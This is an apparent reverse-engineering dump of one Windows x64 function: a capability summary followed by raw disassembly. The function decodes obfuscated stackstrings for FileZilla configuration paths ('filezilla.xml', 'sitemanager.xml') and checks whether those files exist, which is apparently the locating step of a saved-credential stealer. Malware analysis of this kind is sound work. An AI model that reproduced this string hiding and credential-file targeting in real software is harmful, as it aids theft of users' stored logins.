Function at 0x14001609c
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x1a0
mov rax, qword [0x14007d040]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov rbx, rcx
xor esi, esi
movups xmm0, xmmword [0x140063048]
movdqu xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x78]
call fcn.14001194c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rsi
lea rdx, [rbp + 0x78]
lea r14d, [rsi + 0xf]
cmp qword [rbp + 0x90], r14
cmova rdx, qword [rbp + 0x78]
mov r8, qword [rbp + 0x88]
lea rcx, [rbp + 0x58]
call fcn.1400051cc
lea r8, [rbp + 0x58]
lea rdx, [rbp - 0x20]
call fcn.1400118e0
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.14000352c
mov r15d, 0x1000
mov rdx, qword [rbp - 8]
cmp rdx, r14
jbe 0x140016178
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x140016173
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001683f
call fcn.14002ed50
mov dword [rsp + 0x60], 0x6c69462f
mov dword [rsp + 0x64], 0x6c695a65
mov word [rsp + 0x68], 0x616c
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp]
call fcn.140003408
mov r8, rax
lea rdx, [rbp - 0x80]
call fcn.140002c64
nop
mov r8, rbx
cmp qword [rbx + 0x18], r14
jbe 0x1400161ca
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
mov rcx, rax
call fcn.14001b3d4
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], sil
mov rdx, qword [rbp - 0x68]
cmp rdx, r14
jbe 0x140016226
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140016221
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016845
call fcn.14002ed50
movdqa xmm0, xmmword [0x140071730]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], sil
mov dword [rsp + 0x40], 0x6c69462f
mov dword [rsp + 0x44], 0x6c695a65
mov word [rsp + 0x48], 0x616c
lea rax, [rsp + 0x40]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.140003408
mov r8, rax
lea rdx, [rbp - 0x20]
call fcn.140002c64
nop
mov rdx, rax
cmp qword [rax + 0x18], r14
jbe 0x14001628a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x78]
call fcn.1400042b0
nop
mov rdx, qword [rbp - 8]
cmp rdx, r14
jbe 0x1400162ce
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x1400162c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001684b
call fcn.14002ed50
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], r14
cmova rdx, qword [rbp + 0x78]
mov r8, qword [rbp + 0x88]
lea rcx, [rbp + 0x38]
call fcn.1400051cc
lea rdx, [rbp + 0x38]
call fcn.140009270
test al, al
je 0x14001679b
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], r14
cmova rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp - 0x40]
call fcn.1400051cc
lea rdx, [rbp - 0x40]
call fcn.140009270
test al, al
jne 0x140016376
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], r14
cmova rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp - 0x40]
call fcn.1400051cc
lea rdx, [rbp - 0x40]
call fcn.1400098d8
mov dword [rsp + 0x50], 0x6c69662f
mov dword [rsp + 0x54], 0x6c697a65
mov dword [rsp + 0x58], 0x782e616c
mov word [rsp + 0x5c], 0x6c6d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x40]
call fcn.140003408
mov r8, rax
lea rdx, [rbp - 0x20]
call fcn.140002c64
nop
lea r8, [rbp + 0x78]
cmp qword [rbp + 0x90], r14
cmova r8, qword [rbp + 0x78]
mov r9, qword [rbp + 0x88]
mov rcx, rax
call fcn.14001b3d4
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], sil
mov rdx, qword [rbp - 8]
cmp rdx, r14
jbe 0x140016442
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x14001643d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016851
call fcn.14002ed50
movdqa xmm0, xmmword [0x140071730]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], sil
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], r14
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dil, 1
cmp eax, 0xffffffff
je 0x140016475
test al, 0x10
mov al, dil
je 0x140016478
mov al, sil
test al, al
je 0x140016544
lea rax, [rbp + 0x18]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x20], 0x656c6946
mov dword [rsp + 0x24], 0x6c6c695a
mov dword [rsp + 0x28], 0x6d782e61
mov byte [rsp + 0x2c], 0x6c
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2d]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.140003408
mov r8, rax
lea rdx, [rbp + 0x18]
call fcn.140002c64
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], r14
cmova rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.1400051cc
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], r14
cmova rdx, qword [rbp + 0x38]
mov r8, qword [rbp + 0x48]
lea rcx, [rbp - 0x80]
call fcn.1400051cc
nop
mov r9, rbx
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x80]
call fcn.14000c534
mov qword [rbp + 0x48], rsi
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x50], r14
cmova rax, qword [rbp + 0x38]
mov byte [rax], sil
mov dword [rsp + 0x20], 0x7469732f
mov dword [rsp + 0x24], 0x6e616d65
mov dword [rsp + 0x28], 0x72656761
mov dword [rsp + 0x2c], 0x6c6d782e
lea rax, [rsp + 0x20]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.140003408
mov r8, rax
lea rdx, [rbp - 0x60]
call fcn.140002c64
nop
lea r8, [rbp + 0x78]
cmp qword [rbp + 0x90], r14
cmova r8, qword [rbp + 0x78]
mov r9, qword [rbp + 0x88]
mov rcx, rax
call fcn.14001b3d4
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], sil
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x38]
call fcn.14000352c
mov rdx, qword [rbp - 0x68]
cmp rdx, r14
jbe 0x140016624
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x14001661e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016857
call fcn.14002ed50
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, r14
jbe 0x14001665a
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140016655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001685d
call fcn.14002ed50
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], r14
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140016679
test al, 0x10
mov al, dil
je 0x14001667c
mov al, sil
test al, al
je 0x14001674f
lea rax, [rbp + 0x18]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], 0x65746953
mov dword [rsp + 0x24], 0x616e614d
mov dword [rsp + 0x28], 0x2e726567
mov word [rsp + 0x2c], 0x6d78
mov byte [rsp + 0x2e], 0x6c
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp]
call fcn.140003408
mov r8, rax
lea rdx, [rbp + 0x18]
call fcn.140002c64
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], r14
cmova rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp - 0x80]
call fcn.1400051cc
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], r14
cmova rdx, qword [rbp + 0x38]
mov r8, qword [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.1400051cc
nop
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x60]
call fcn.14000c534
mov qword [rbp + 0x48], rsi
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x50], r14
cmova rax, qword [rbp + 0x38]
mov byte [rax], sil
mov rdx, qword [rbp + 0x50]
cmp rdx, r14
jbe 0x14001679e
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, r15
jb 0x140016794
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016863
call fcn.14002ed50
jmp 0x14001679e
mov dil, sil
mov rdx, qword [rbp + 0x70]
cmp rdx, r14
jbe 0x1400167d5
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, r15
jb 0x1400167cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016869
call fcn.14002ed50
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, r14
jbe 0x14001680a
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, r15
jb 0x140016805
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016839
call fcn.14002ed50
mov al, dil
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.14002ed30
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14003a92c
nop
call fcn.14003a92c
nop
call fcn.14003a92c
int3
call fcn.14003a92c
nop
call fcn.14003a92c
nop
call fcn.14003a92c
nop
call fcn.14003a92c
nop
call fcn.14003a92c
nop
call fcn.14003a92c
int3